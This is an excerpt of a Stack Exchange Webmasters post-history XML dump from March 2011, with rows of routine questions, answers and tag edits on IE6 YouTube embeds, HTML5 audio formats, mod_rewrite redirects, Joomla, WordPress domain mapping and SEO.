  <row Id="25061" PostHistoryTypeId="6" PostId="11112" RevisionGUID="e2757132-7650-46b5-9b2f-489c4b7c6d30" CreationDate="2011-03-23T18:34:19.957" UserId="1253" Comment="removed &quot;service&quot; tag, added &quot;looking-for-a-host java&quot; tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;java&gt;" />
  <row Id="25062" PostHistoryTypeId="2" PostId="11115" RevisionGUID="a938eaeb-3c28-4a37-98ae-4f5d4d7cb777" CreationDate="2011-03-23T18:49:33.477" UserId="6296" Text="I have had this problem for quite some time. It wasn't actually a big issue until lately when one of our conference site has a lot of IE6 users.&#xD;&#xA;&#xD;&#xA;The black loading screen appears right after I include a youtube clip into our site. The site is content managed with Joomla but I don't see any reason how Joomla has got any compatibility issues with youtube and IE6 !&#xD;&#xA;&#xD;&#xA;Anyone knows how, why or has experienced this similar issue b4 ?&#xD;&#xA;Tried using &lt;!-- [if (gte IE 7)(!IE)]&gt; &lt;![endif]--&gt; but the youtube div wouldn't appear on firefox. Is the code right?&#xD;&#xA;&#xD;&#xA;url of website: http://schoolcontingency.com&#xD;&#xA;Use http://ipinfo.info/netrenderer/index.php to render IE6 images. Would love to upload the photo but I have 0 reputation :(&#xD;&#xA;&#xD;&#xA;or refer to here http://stackoverflow.com/questions/5408808/annoying-ie6-black-screen-with-loading-when-youtube-is-added" />
  <row Id="25063" PostHistoryTypeId="1" PostId="11115" RevisionGUID="a938eaeb-3c28-4a37-98ae-4f5d4d7cb777" CreationDate="2011-03-23T18:49:33.477" UserId="6296" Text="Annoying IE6. Black screen with “loading” when youtube is added" />
  <row Id="25064" PostHistoryTypeId="3" PostId="11115" RevisionGUID="a938eaeb-3c28-4a37-98ae-4f5d4d7cb777" CreationDate="2011-03-23T18:49:33.477" UserId="6296" Text="&lt;html&gt;&lt;css&gt;&lt;joomla&gt;&lt;internet-explorer&gt;&lt;browsers&gt;" />
  <row Id="25065" PostHistoryTypeId="2" PostId="11116" RevisionGUID="fe8d0aea-0b43-4b77-b13b-5829eb593f71" CreationDate="2011-03-23T19:37:49.163" UserId="6298" Text="A website I've recently worked on has a fairly extensive product search. The search returns results from the company's affiliates as well as products that the company produces and sponsors.&#xD;&#xA;&#xD;&#xA;A requirement of the search is that these &quot;sponsored&quot; items be highlighted, or shown in a manner that the users gets a sense of greater importance about them. Our attempted solution was to give the sponsored items a background color and the company's logo to highlight/draw attention to them.&#xD;&#xA;&#xD;&#xA;Unfortunately, after some usability testing users were prone to skipping over these items and not giving them a second glance. In fact, some users even commented that &quot;Sponsored Products!! Those must be ads.&quot; and proceeded to skip them. &#xD;&#xA;&#xD;&#xA;What would be a good web design technique to draw attention to these products without giving them the feeling of an advertisement, or something &quot;forced&quot;? Does anyone have any resources/suggestions on this subject?&#xD;&#xA;&#xD;&#xA;Thanks for your help!" />
  <row Id="25066" PostHistoryTypeId="1" PostId="11116" RevisionGUID="fe8d0aea-0b43-4b77-b13b-5829eb593f71" CreationDate="2011-03-23T19:37:49.163" UserId="6298" Text="Highlighting Search Results" />
  <row Id="25067" PostHistoryTypeId="3" PostId="11116" RevisionGUID="fe8d0aea-0b43-4b77-b13b-5829eb593f71" CreationDate="2011-03-23T19:37:49.163" UserId="6298" Text="&lt;website-design&gt;&lt;search&gt;" />
  <row Id="25068" PostHistoryTypeId="2" PostId="11117" RevisionGUID="bd6a5b2f-a2f7-4077-bf27-e8a456e1d2e1" CreationDate="2011-03-23T19:40:40.987" UserId="1253" Text="Why not call them &quot;Featured Products&quot;? That way they are still clearly labeled as products for sale but still notes that they are special." />
  <row Id="25069" PostHistoryTypeId="2" PostId="11118" RevisionGUID="503aa1b2-a393-468a-abe2-524532de81af" CreationDate="2011-03-23T19:57:06.393" UserId="5990" Text="I'm targeting modern browsers (only those that support `&lt;audio&gt;`) and specifically the iPad.  I've tested [here][1] and wav works on chromium, firefox 4.0 (both mac 10.6) and on the iPad.  I have a couple dozen audio files so I'd like to avoid multiple versions if possible.&#xD;&#xA;&#xD;&#xA;I'll be starting and stopping the audio programmatically, no browser default controls (just buttons I attach), in case that's relevant.&#xD;&#xA;&#xD;&#xA;Someone gave me a vague warning against using .wav; to wit: &#xD;&#xA;&#xD;&#xA;&gt; be careful with that unless you intend to have the .wav be a pcm stream&#xD;&#xA;&#xD;&#xA;So, any reason I shouldn't use wav for cross browser support and call it a day?&#xD;&#xA;&#xD;&#xA;  [1]: http://textopia.org/androidsoundformats.html &quot;test of sound formats&quot;" />
  <row Id="25070" PostHistoryTypeId="1" PostId="11118" RevisionGUID="503aa1b2-a393-468a-abe2-524532de81af" CreationDate="2011-03-23T19:57:06.393" UserId="5990" Text="Is there any reason for me not to use the &quot;wav&quot; format for html5 audio crossbrowser compatibility?" />
  <row Id="25071" PostHistoryTypeId="3" PostId="11118" RevisionGUID="503aa1b2-a393-468a-abe2-524532de81af" CreationDate="2011-03-23T19:57:06.393" UserId="5990" Text="&lt;html5&gt;&lt;audio&gt;&lt;ipad&gt;" />
  <row Id="25073" PostHistoryTypeId="25" PostId="11116" RevisionGUID="935aa2eb-3973-4a7f-b271-30c4331ed9a3" CreationDate="2011-03-23T20:30:29.013" Comment="http://twitter.com/#!/StackWebmasters/status/50655675763785728" />
  <row Id="25074" PostHistoryTypeId="2" PostId="11120" RevisionGUID="4fdf491f-5302-4765-bb85-cbd11d4b9fa2" CreationDate="2011-03-23T20:37:51.650" UserId="1253" Text="WAV files are pretty large in size. Especially when compared to mp3s which are ~90% smaller in size. Ogg Vorbis should also be much smaller. Naturally the smaller file size is ideal for the web. Unfortunately support for different formats is varied amongst browsers. &#xD;&#xA;&#xD;&#xA;Fortunately you can work around this by specifying multiple files and letting the browser choose the first one they support. This way .wav files are only loaded if nothing else is supported.&#xD;&#xA;&#xD;&#xA;    &lt;audio preload=&quot;auto&quot; autobuffer&gt; &#xD;&#xA;      &lt;source src=&quot;file.mp3&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;file.ogg&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;file.wav&quot; /&gt;&#xD;&#xA;    &lt;/audio&gt;" />
  <row Id="25075" PostHistoryTypeId="2" PostId="11121" RevisionGUID="7ba196c4-fea5-41ae-93fb-93ed6609a58a" CreationDate="2011-03-23T21:28:46.897" UserId="6207" Text="What is the best approach to make a portfolio website for an artist? &#xD;&#xA;&#xD;&#xA;Any of these methods?&#xD;&#xA;&#xD;&#xA; 1. Using a template and customising? (Problem: most templates are product driven)&#xD;&#xA; 2. Use a CMS -&gt; which one would be useful for a portfolio?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25076" PostHistoryTypeId="1" PostId="11121" RevisionGUID="7ba196c4-fea5-41ae-93fb-93ed6609a58a" CreationDate="2011-03-23T21:28:46.897" UserId="6207" Text="Portfolio Website" />
  <row Id="25077" PostHistoryTypeId="3" PostId="11121" RevisionGUID="7ba196c4-fea5-41ae-93fb-93ed6609a58a" CreationDate="2011-03-23T21:28:46.897" UserId="6207" Text="&lt;website-design&gt;&lt;cms&gt;&lt;websites&gt;" />
  <row Id="25078" PostHistoryTypeId="2" PostId="11122" RevisionGUID="a2341a32-0dc4-40bc-a6ec-53a8861b0649" CreationDate="2011-03-23T22:22:26.997" UserId="6236" Text="There's a few targeted products out there aimed at photographers and artists, both free and commercial.  Take a look around - I'm sure quite a few of the photography ones would also suit many artists.&#xD;&#xA;&#xD;&#xA;For instance http://www.mosaicglobe.com/&#xD;&#xA;&#xD;&#xA;The problem with most templates is they so often look like templates, and they'll need customising if you want to do any restrictions on saving images from your site." />
  <row Id="25079" PostHistoryTypeId="2" PostId="11123" RevisionGUID="0184c59c-6bb1-4c38-b9f0-0f47323ccc8a" CreationDate="2011-03-23T22:28:29.283" UserId="6301" Text="I want to change a description of a template position, so when I go to Admin-&gt;Extensions-&gt;Module Manager I see a different description of a module position in the position list when I edit a module.&#xD;&#xA;&#xD;&#xA;However, when I change (for instance) the template 'beez_20' and want to rename the name of the position 'debug', I change the description (TPL_BEEZ_20_POSITION_DEBUG) in the language file 'languages\en-GB\en-GB.tpl_beez_20.sys.ini' to something different, say 'Abracadabra'.&#xD;&#xA;&#xD;&#xA;However, the changes don't appear in the position list and I can find no reference whatsoever of how or when the ini files are read or maybe cached.&#xD;&#xA;&#xD;&#xA;Does anyone has a clue?" />
  <row Id="25080" PostHistoryTypeId="1" PostId="11123" RevisionGUID="0184c59c-6bb1-4c38-b9f0-0f47323ccc8a" CreationDate="2011-03-23T22:28:29.283" UserId="6301" Text="(Joomla 1.6) Template position descriptions don't refresh" />
  <row Id="25081" PostHistoryTypeId="3" PostId="11123" RevisionGUID="0184c59c-6bb1-4c38-b9f0-0f47323ccc8a" CreationDate="2011-03-23T22:28:29.283" UserId="6301" Text="&lt;joomla&gt;&lt;template&gt;&lt;language&gt;" />
  <row Id="25082" PostHistoryTypeId="2" PostId="11124" RevisionGUID="7b3b6ec2-e1bd-4dbe-8fe9-fca26502c072" CreationDate="2011-03-23T23:13:39.210" UserId="6303" Text="I'm moving my site and the URL structure has changed because of the new CMS. The urls would be similar to http://www.example.com/my.products.htm on the new site we are changing the URLs to this http://www.example.com/my-products is their a way to redirect all of the products to this new URL scheme using Mod_rewrite 301 redirect? Or is their another method I could use? The old site ran PHP the new one runs on Netsuite if that helps. " />
  <row Id="25083" PostHistoryTypeId="1" PostId="11124" RevisionGUID="7b3b6ec2-e1bd-4dbe-8fe9-fca26502c072" CreationDate="2011-03-23T23:13:39.210" UserId="6303" Text="mod_rewrite change . to -" />
  <row Id="25084" PostHistoryTypeId="3" PostId="11124" RevisionGUID="7b3b6ec2-e1bd-4dbe-8fe9-fca26502c072" CreationDate="2011-03-23T23:13:39.210" UserId="6303" Text="&lt;url&gt;&lt;url-rewriting&gt;&lt;mod-rewrite&gt;&lt;301-redirect&gt;" />
  <row Id="25085" PostHistoryTypeId="25" PostId="11121" RevisionGUID="646357ff-532c-4986-a1df-439b852f08fe" CreationDate="2011-03-23T23:30:28.507" Comment="http://twitter.com/#!/StackWebmasters/status/50700972191776768" />
  <row Id="25086" PostHistoryTypeId="2" PostId="11125" RevisionGUID="f62f5838-e7c4-4e1b-a9aa-367f5c3f0066" CreationDate="2011-03-23T23:45:55.093" UserId="6304" Text="Well definitely stay the hell away from openx unless you're shelling out big $$ as part of their microsoft-run enterprise level of service (i.e. its what groupon is on). They gave up years ago on the open source openx, and it shows. &#xD;&#xA;&#xD;&#xA;Right now as far as free ad servers that actually are decent is concerned, check out google's doubleclick for publishers (it's the renamed google ad manager). I've been using it on 3 sites for the past 6 months or so and have no complaints so far.&#xD;&#xA;https://www.google.com/intl/en_US/dfp/info/welcome.html" />
  <row Id="25087" PostHistoryTypeId="2" PostId="11126" RevisionGUID="5779817e-e8aa-4f58-99d1-1f4aa1f4de0f" CreationDate="2011-03-23T23:55:54.867" UserId="6304" Text="My votes with an oldie but a goodie - http://dyn.com/enterprise-dns/dynect-platform" />
  <row Id="25088" PostHistoryTypeId="2" PostId="11127" RevisionGUID="cc25610d-2934-4f5d-bc2b-516564fc3b5e" CreationDate="2011-03-24T00:44:58.567" UserId="6305" Text="I own a site and I banned one of my users. His I.P was 68.111.xxx.xx&#xD;&#xA;Later, about 2 hours later, a new user registered. Looked suspicious, and I checked his I.P which was 68.191.xxx.xx&#xD;&#xA;&#xD;&#xA;My question is, how can I essentially know if this is the same person, putting aside intuition?&#xD;&#xA;&#xD;&#xA;So I used whatsmyip site and looked up both I.Ps. Both are from the US, but different places and providers. So he's not the same person? Or can there be other factors?" />
  <row Id="25089" PostHistoryTypeId="1" PostId="11127" RevisionGUID="cc25610d-2934-4f5d-bc2b-516564fc3b5e" CreationDate="2011-03-24T00:44:58.567" UserId="6305" Text="About I.P user identification." />
  <row Id="25090" PostHistoryTypeId="3" PostId="11127" RevisionGUID="cc25610d-2934-4f5d-bc2b-516564fc3b5e" CreationDate="2011-03-24T00:44:58.567" UserId="6305" Text="&lt;ip&gt;" />
  <row Id="25091" PostHistoryTypeId="5" PostId="6185" RevisionGUID="a2585ed6-5536-4497-8163-56072f4736a5" CreationDate="2011-03-24T00:51:46.367" UserId="3590" Comment="added 82 characters in body; edited tags" Text="im trying to make an up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. Also any body knows new/promising meta tags? I will add yours into my list so this chart is a result of live discussion and up to date. Also, it would be creative to invent your own useful meta, because ***we are the ones making the web***, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE?   -   NECESSARY?   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;canonical&quot; P? - N? - G?&#xD;&#xA;    meta &quot;google&quot; = P to hide the [Tranalate this page?] set it to &quot;notranslate&quot;&#xD;&#xA;&#xD;&#xA;    #### seems obsolete&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google but yahoo likes them&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G? &#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;&#xD;&#xA;    #### invented by me&#xD;&#xA;    meta &quot;audience&quot; = P filteres audience: &quot;+seniors, +parents, -children, -youth&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual style: &quot;discussion, informative, commercial,&#xD;&#xA;                  sexual, fictional, scientific, romantic, therapeutic, technical&quot;" />
  <row Id="25092" PostHistoryTypeId="6" PostId="6185" RevisionGUID="a2585ed6-5536-4497-8163-56072f4736a5" CreationDate="2011-03-24T00:51:46.367" UserId="3590" Comment="added 82 characters in body; edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;pagerank&gt;&lt;meta-description&gt;&lt;meta-keywords&gt;" />
  <row Id="25093" PostHistoryTypeId="2" PostId="11128" RevisionGUID="36c07a5f-d049-4f7b-8a6f-c1e1eb081835" CreationDate="2011-03-24T01:12:28.450" UserId="1253" Text="It's easy to use a proxy to mask your true IP address. Additionally ISPs commonly change IP addresses of users during the same session. With the IP6 transition slowly getting started that's only going to become more common.&#xD;&#xA;&#xD;&#xA;Unfortunately there is no way to know for sure unless they do something stupid like use a common name, same/similar email address, exact same IP, etc. In cases like this your gut feeling os often times going to be better then hard evidence." />
  <row Id="25095" PostHistoryTypeId="2" PostId="11130" RevisionGUID="553d50ba-ae94-4d31-998f-fd8d8d746e67" CreationDate="2011-03-24T01:58:00.730" UserId="5322" Text="Add this to the .htaccess file in your root directory&#xD;&#xA;&#xD;&#xA;    RewriteRule ^([A-Za-z0-9]+)\.([A-Za-z0-9]+)\.htm$ http://www.example.com/$1-$2 [R=301]" />
  <row Id="25096" PostHistoryTypeId="2" PostId="11131" RevisionGUID="13cbce8a-f11d-4ff8-b94d-7f7607c965ee" CreationDate="2011-03-24T02:01:57.183" UserId="5322" Text="http://www.internet.bs is quite a good" />
  <row Id="25098" PostHistoryTypeId="25" PostId="11127" RevisionGUID="52521b10-baf7-475a-865f-54b35c9fe86c" CreationDate="2011-03-24T02:30:29.030" Comment="http://twitter.com/#!/StackWebmasters/status/50746272952483840" />
  <row Id="25099" PostHistoryTypeId="2" PostId="11132" RevisionGUID="e1660c33-2730-450c-b9e0-b6f2802bd8f3" CreationDate="2011-03-24T02:58:37.320" UserId="2044" Text="I would like to know that if we have our wordpress blog like: http://koolkabin.wordpress.com  and our domain like: http://www.outsourcingnepal.com then&#xD;&#xA;&#xD;&#xA;can we make it like working and posting all contents in http://koolkabin.wordpress.com and showing the contents in our domain i.e http://www.outsourcingnepal.com&#xD;&#xA;&#xD;&#xA;for more clearification: &#xD;&#xA;&#xD;&#xA;if user enters http://www.outsourcingnepal.com or http://koolkabin.wordpress.com in their broswer address bar then both should show contents from http://koolkabin.wordpress.com&#xD;&#xA;&#xD;&#xA;but one more thing when user visit the website from http://www.outsourcingnepal.com the usl should remain http://www.outsourcingnepal.com not http://koolkabin.wordpress.com" />
  <row Id="25100" PostHistoryTypeId="1" PostId="11132" RevisionGUID="e1660c33-2730-450c-b9e0-b6f2802bd8f3" CreationDate="2011-03-24T02:58:37.320" UserId="2044" Text="How do i point my domain to wordpress blog" />
  <row Id="25101" PostHistoryTypeId="3" PostId="11132" RevisionGUID="e1660c33-2730-450c-b9e0-b6f2802bd8f3" CreationDate="2011-03-24T02:58:37.320" UserId="2044" Text="&lt;wordpress&gt;&lt;redirects&gt;&lt;url-rewriting&gt;&lt;blog&gt;&lt;multiple-domains&gt;" />
  <row Id="25102" PostHistoryTypeId="2" PostId="11133" RevisionGUID="17ce7683-a5bb-47ef-ad2b-4eb1e1c937e9" CreationDate="2011-03-24T03:33:18.550" UserId="6252" Text="My response is a bit different than what others suggested. I would much rather have several websites owned / operated by me competing against each than others. I mean, there are only top 10 results. 2 is better than 1. &#xD;&#xA;&#xD;&#xA;Ofcourse, a lot of factors come into play such as your ability to invest in an infrastructure such as different ip addresses, unique designs, unique content and lastly, SEO (link building etc.)&#xD;&#xA;&#xD;&#xA;My strategy has been to create mini-stores instead of mini-sites (information sites). and ofcourse backlinking the mini-stores to my main site looks very legit." />
  <row Id="25103" PostHistoryTypeId="2" PostId="11134" RevisionGUID="5a1700d2-8745-468c-8105-a93da14b0f41" CreationDate="2011-03-24T04:14:37.517" UserId="6300" Text="Can anyone point me in a direction of how the following elements are styled/created?&#xD;&#xA;on http://www.tumblr.com/.&#xD;&#xA;&#xD;&#xA;What i'm looking for specifically is the gradient, and the nice inset border, where it looks like it's &#xD;&#xA;The input[type=text] elements as well as the input[type=submit]&#xD;&#xA;" />
  <row Id="25104" PostHistoryTypeId="1" PostId="11134" RevisionGUID="5a1700d2-8745-468c-8105-a93da14b0f41" CreationDate="2011-03-24T04:14:37.517" UserId="6300" Text="Styling input elements using CSS - Inset" />
  <row Id="25105" PostHistoryTypeId="3" PostId="11134" RevisionGUID="5a1700d2-8745-468c-8105-a93da14b0f41" CreationDate="2011-03-24T04:14:37.517" UserId="6300" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="25106" PostHistoryTypeId="6" PostId="11036" RevisionGUID="6960e3b2-92bc-4dad-b812-a0d34ad56b1b" CreationDate="2011-03-24T04:35:01.003" UserId="4306" Comment="added 'seo' tag" Text="&lt;seo&gt;&lt;redirects&gt;&lt;seo-friendly&gt;" />
  <row Id="25107" PostHistoryTypeId="24" PostId="11036" RevisionGUID="6960e3b2-92bc-4dad-b812-a0d34ad56b1b" CreationDate="2011-03-24T04:35:01.003" Comment="Proposed by 4306 approved by 1064 edit id of 78" />
  <row Id="25108" PostHistoryTypeId="25" PostId="11134" RevisionGUID="1e81dbcf-4d1f-4a83-9359-cc1d25a2dfd6" CreationDate="2011-03-24T05:30:28.910" Comment="http://twitter.com/#!/StackWebmasters/status/50791570974314497" />
  <row Id="25109" PostHistoryTypeId="17" PostId="11136" RevisionGUID="b8db0880-452c-4b35-8e06-82937323bd5f" CreationDate="2011-03-24T05:31:30.690" UserId="-1" Comment="from http://stackoverflow.com/questions/5414173/need-advice-website-is-flash-only/5414196#5414196" Text="" />
  <row Id="25110" PostHistoryTypeId="2" PostId="11136" RevisionGUID="1e83ad7e-cab5-45e0-9064-97bdc7caa391" CreationDate="2011-03-24T02:47:53.717" UserId="2069" Text="If you want to stick with Flash and improve the ranking, see http://stackoverflow.com/questions/2020849/developing-seo-friendly-flash-site (or other links below). If you want to write a real website, do that.&#xD;&#xA;&#xD;&#xA;Either way, the choice is yours.&#xD;&#xA;&#xD;&#xA;###Recommended reading&#xD;&#xA;&#xD;&#xA;- http://stackoverflow.com/questions/3689510/how-to-make-flash-sites-search-engine-friendly&#xD;&#xA;- http://stackoverflow.com/questions/1358884/factoring-in-seo-on-a-flash-site&#xD;&#xA;- http://stackoverflow.com/questions/510010/what-is-so-evil-about-a-flash-based-website&#xD;&#xA;- http://stackoverflow.com/questions/1368594/is-it-a-good-idea-to-build-a-web-user-interface-using-flash" />
  <row Id="25111" PostHistoryTypeId="2" PostId="11135" RevisionGUID="946979ba-5030-48a8-b93a-4f08fbedfa2a" CreationDate="2011-03-24T02:43:37.993" UserDisplayName="user670507" Text="I currently have a website that is just one big flash file. It looks good and I am satisfied with it but I have been told that it may not ever rank very well in google and yahoo since it is only flash. &#xD;&#xA;&#xD;&#xA;If you had this would you switch to html templates or keep as is. Any suggestions on how to improve my ranking if I do keep the flash site.&#xD;&#xA;&#xD;&#xA;I am a novice so please excuse any ignorance on my part. I got the flash templates and html templates from host gator since they do host my site and little support comes with there services.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="25112" PostHistoryTypeId="1" PostId="11135" RevisionGUID="946979ba-5030-48a8-b93a-4f08fbedfa2a" CreationDate="2011-03-24T02:43:37.993" UserDisplayName="user670507" Text="Need Advice... Website is flash only" />
  <row Id="25113" PostHistoryTypeId="3" PostId="11135" RevisionGUID="946979ba-5030-48a8-b93a-4f08fbedfa2a" CreationDate="2011-03-24T02:43:37.993" UserDisplayName="user670507" Text="&lt;html&gt;&lt;flash&gt;" />
  <row Id="25114" PostHistoryTypeId="17" PostId="11135" RevisionGUID="b3d7f3ab-3759-4218-9258-545cb56054ee" CreationDate="2011-03-24T05:31:30.690" UserId="-1" Comment="from http://stackoverflow.com/questions/5414173/need-advice-website-is-flash-only" Text="" />
  <row Id="25115" PostHistoryTypeId="17" PostId="11138" RevisionGUID="31636ee0-6b82-4ee0-8ca0-33b8ecf6a836" CreationDate="2011-03-24T05:33:12.277" UserId="-1" Comment="from http://stackoverflow.com/questions/5408061/can-i-make-my-ip-address-look-as-if-it-is-from-another-country-not-from-the-us/5408114#5408114" Text="" />
  <row Id="25116" PostHistoryTypeId="2" PostId="11138" RevisionGUID="c801c674-e534-46c5-bda4-2cddd041d19d" CreationDate="2011-03-23T16:01:10.643" UserDisplayName="Marc B" Text="You'd need to use a proxy located at an ISP with a suitable IP to &quot;fool&quot; the origin detections. There's no way to spoof an IP address for TCP connections and get a useable connection, unless you have total control over all the routers between you and the target server.&#xD;&#xA;" />
  <row Id="25117" PostHistoryTypeId="2" PostId="11137" RevisionGUID="f603335b-077d-40cf-9840-a75a05e01363" CreationDate="2011-03-23T15:57:47.563" UserDisplayName="LookingForHelp" Text="The top level domain .md is works as follows: &#xD;&#xA;&#xD;&#xA;(A) If you are from the US, Canada, or a few other countries, you have to register .md domains through max.md for exorbitant prices, because they figure doctors don't know any better.&#xD;&#xA;&#xD;&#xA;(B) If you are from anywhere else in the world, you get to register through nic.md for the much more reasonable yearly price of $39&#xD;&#xA;&#xD;&#xA;So of course, I waited until I was on a trip to the Czech Republic, and then registered my .md domain when I was there.  However, now I want to renew my domain, but because I am back in the US, whenever I try to access my account throught nic.md, I am being redirected to max.md.  I am not going to be taking any trips overseas before my domain expires, so I wanted to know if there is a way to make my IP address appear as if it is coming from another country, like the Czech Republic, or elsewhere?&#xD;&#xA;" />
  <row Id="25118" PostHistoryTypeId="1" PostId="11137" RevisionGUID="f603335b-077d-40cf-9840-a75a05e01363" CreationDate="2011-03-23T15:57:47.563" UserDisplayName="LookingForHelp" Text="Can I make my IP address look as if it is from another country, not from the US?" />
  <row Id="25119" PostHistoryTypeId="3" PostId="11137" RevisionGUID="f603335b-077d-40cf-9840-a75a05e01363" CreationDate="2011-03-23T15:57:47.563" UserDisplayName="LookingForHelp" Text="&lt;domains&gt;&lt;ip&gt;" />
  <row Id="25120" PostHistoryTypeId="17" PostId="11137" RevisionGUID="f0c08601-cf22-4362-809e-04c333181f03" CreationDate="2011-03-24T05:33:12.277" UserId="-1" Comment="from http://stackoverflow.com/questions/5408061/can-i-make-my-ip-address-look-as-if-it-is-from-another-country-not-from-the-us" Text="" />
  <row Id="25121" PostHistoryTypeId="2" PostId="11139" RevisionGUID="c88ff070-461c-4a1a-b559-86fa8969064a" CreationDate="2011-03-24T07:48:47.160" UserId="6311" Text="I was recently asked for a link exchange between my PR1 site and someone's PR4 site. They are not related, and even in different languages.&#xD;&#xA;&#xD;&#xA;Disregarding the degraded user experience and assuming the link provides no traffic on it own, would such an exchange help my site in the search results? Could it hurt it?" />
  <row Id="25122" PostHistoryTypeId="1" PostId="11139" RevisionGUID="c88ff070-461c-4a1a-b559-86fa8969064a" CreationDate="2011-03-24T07:48:47.160" UserId="6311" Text="Do irrelevant links help PageRank?" />
  <row Id="25123" PostHistoryTypeId="3" PostId="11139" RevisionGUID="c88ff070-461c-4a1a-b559-86fa8969064a" CreationDate="2011-03-24T07:48:47.160" UserId="6311" Text="&lt;pagerank&gt;&lt;backlinks&gt;" />
  <row Id="25124" PostHistoryTypeId="2" PostId="11140" RevisionGUID="32006b0f-ccf3-458f-91c5-63778ef9d05f" CreationDate="2011-03-24T08:21:33.180" UserId="2290" Text="from a SEO perspective&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;GENERAL URL RULES:&#xD;&#xA;&#xD;&#xA;all URLs on an a webproperty must be according to these rules (listed in priority)&#xD;&#xA;1) unique (1 URL == 1 ressource) - the canonical must be the same URL as used in the navigation!!!&#xD;&#xA;&#xD;&#xA;2) permanent (they do not change)&#xD;&#xA;&#xD;&#xA;3) manageable (1 logic per site section, no comlplicated exceptions)&#xD;&#xA;&#xD;&#xA;4) easily scaleable logic&#xD;&#xA;&#xD;&#xA;5) short&#xD;&#xA;&#xD;&#xA;6) with a targeted keyword phrase&#xD;&#xA;&#xD;&#xA;the targeted keyword phrase is the least important - but it's still important. if you can have a short, scaleable, manageable, permanent, unique URL logic - with non-english characters, then go for it.&#xD;&#xA;&#xD;&#xA;there are benifits if the URL match the search term, as the search term gets highlighted in the SERPs, additionally the URL is the most used anchor text (as people tend to copy &amp; paste URLs), so you get a cool anchor text if you use the keyword (in whatever language) in the URL, also the URL keyword is seen as content and adds context to the page, another SEO plus.&#xD;&#xA;&#xD;&#xA;so yeah, scenario 1 is definitely the winner." />
  <row Id="25125" PostHistoryTypeId="25" PostId="11139" RevisionGUID="a666b312-876a-4300-a825-9825f0cefcaf" CreationDate="2011-03-24T08:30:28.713" Comment="http://twitter.com/#!/StackWebmasters/status/50836868782231552" />
  <row Id="25126" PostHistoryTypeId="2" PostId="11141" RevisionGUID="35bf34ce-0bea-4d05-af56-2bafdc1f2552" CreationDate="2011-03-24T08:34:03.293" UserId="4306" Text="On WordPress.com, you can use a custom domain for your blog, such as example.com, instead of the default address you get when you sign up, like example.wordpress.com. This is called Domain Mapping, and it’s a paid upgrade. Mapping a domain you already own costs $12 per domain, per blog, per year.&#xD;&#xA;&#xD;&#xA;Instructions:&#xD;&#xA;&#xD;&#xA;* [Map an Existing Domain | Wordpress.com][1]&#xD;&#xA;&#xD;&#xA;Important note:&#xD;&#xA;&#xD;&#xA;&gt; Using the Domain Mapping Upgrade requires you to change your domain’s “Name Servers”. If you don’t know how to do this, we suggest you contact your domain’s registrar before proceeding. You will not be able to start mapping your domain to your blog before you complete this stage.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.support.wordpress.com/domain-mapping/map-existing-domain/" />
  <row Id="25127" PostHistoryTypeId="2" PostId="11142" RevisionGUID="c6511a07-e262-4d4e-8e46-83efc4b17ab1" CreationDate="2011-03-24T08:40:12.310" UserId="6312" Text="I need to gather articles from multiple categories into the single blog feed.&#xD;&#xA;&#xD;&#xA;For example, I need this structure ...&#xD;&#xA;&#xD;&#xA;    Section 1&#xD;&#xA;      Category 1.1&#xD;&#xA;        Article 1.1.1 (20 apr 2011)&#xD;&#xA;        Article 1.1.2 (10 apr 2011)&#xD;&#xA;      Category 1.2&#xD;&#xA;        Article 1.2.1 (15 apr 2011)&#xD;&#xA;      Category 1.3&#xD;&#xA;        Article 1.3.1 (25 apr 2011)&#xD;&#xA;        &#xD;&#xA;... to be displayed in a single feed as&#xD;&#xA;  &#xD;&#xA;    Article 1.3.1 (25 apr 2011)&#xD;&#xA;    Article 1.1.1 (20 apr 2011)&#xD;&#xA;    Article 1.2.1 (15 apr 2011)&#xD;&#xA;    Article 1.1.2 (10 apr 2011)&#xD;&#xA;&#xD;&#xA;(sorted by the date of articles)&#xD;&#xA;&#xD;&#xA;I tried to use &quot;Secion Blog&quot; type for my menu item, but I can't understand its methods of sorting articles. I tried to sort them by date, but my section blog displaying it category by category, not article by article:&#xD;&#xA;&#xD;&#xA;    Article 1.1.1 (20 apr 2011)&#xD;&#xA;    Article 1.1.2 (10 apr 2011)&#xD;&#xA;    Article 1.2.1 (15 apr 2011)&#xD;&#xA;    Article 1.3.1 (25 apr 2011)&#xD;&#xA;&#xD;&#xA;Maybe I should install some extension to do that?&#xD;&#xA;&#xD;&#xA;Joomla 1.5.22&#xD;&#xA;" />
